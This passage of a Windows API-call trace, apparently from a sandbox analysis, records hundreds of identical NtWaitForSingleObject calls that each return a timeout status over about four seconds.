	[0092.766] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.777] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.787] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.798] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.812] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.826] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.835] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.847] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.871] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.881] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.893] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.903] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.914] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.925] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.935] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.944] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.956] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.966] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.977] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.986] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.997] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.008] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.020] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.029] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.040] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.050] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.059] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.071] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.084] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.093] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.104] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.114] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.124] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.134] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.147] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.157] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.167] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.181] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.191] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.201] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.212] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.223] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.232] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.243] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.253] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.264] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.276] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.287] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.297] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.307] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.317] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.327] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.340] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.353] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.367] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.379] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.389] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.400] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.411] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.421] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.430] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.440] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.450] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.477] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.488] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.497] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.508] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.518] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.529] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.539] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.549] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.563] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.573] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.584] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.596] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.607] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.619] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.630] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.641] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.652] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.667] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.679] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.689] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.701] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.712] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.758] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.787] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.799] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.866] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.973] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0093.984] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.081] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.146] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.187] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.285] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.390] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.543] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.650] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.702] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.716] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.727] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.740] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.756] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.768] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.780] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.791] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.802] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.813] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.822] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.832] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.854] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.865] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.875] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.886] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.898] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.949] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.960] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.972] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.983] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0094.992] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.006] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.017] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.030] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.043] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.055] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.068] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.085] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.140] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.152] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.164] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.175] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.184] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.197] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.218] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.231] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.243] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.261] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.272] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.300] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.311] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.320] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.331] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.342] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.352] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.365] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.383] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.392] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.403] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.415] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.428] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.438] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.449] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.460] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.470] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.481] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.493] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.503] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.521] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.532] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.547] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.559] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.569] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.579] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.589] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.599] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.611] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.626] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.636] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.646] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.656] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.668] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.678] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.689] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.701] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.712] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.721] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.731] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.742] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.756] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.767] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.776] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.797] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.809] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.822] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.837] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.848] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.859] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.868] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.883] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.893] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.906] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.917] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.926] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.937] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.951] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.961] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.974] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.985] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0095.997] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.009] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.020] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.030] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.042] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.058] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.068] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.088] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.101] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.113] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.126] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.135] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.147] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.159] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.169] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.182] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.192] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.204] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.215] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.230] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.240] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.251] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.266] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.276] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.289] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.302] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.313] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.323] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.338] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.349] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.362] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.373] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.383] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.395] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.406] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.420] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.431] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.440] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.457] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.467] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.479] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.491] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.526] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.535] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.547] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.557] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.573] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.582] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.594] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.604] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.616] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.626] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.637] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.648] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.658] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.668] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.679] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.691] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.700] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.711] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.721] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.731] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.743] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.757] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.768] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.784] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.793] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.803] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.816] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.826] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.836] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.847] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.859] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.870] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.880] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.890] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.901] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0096.912] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
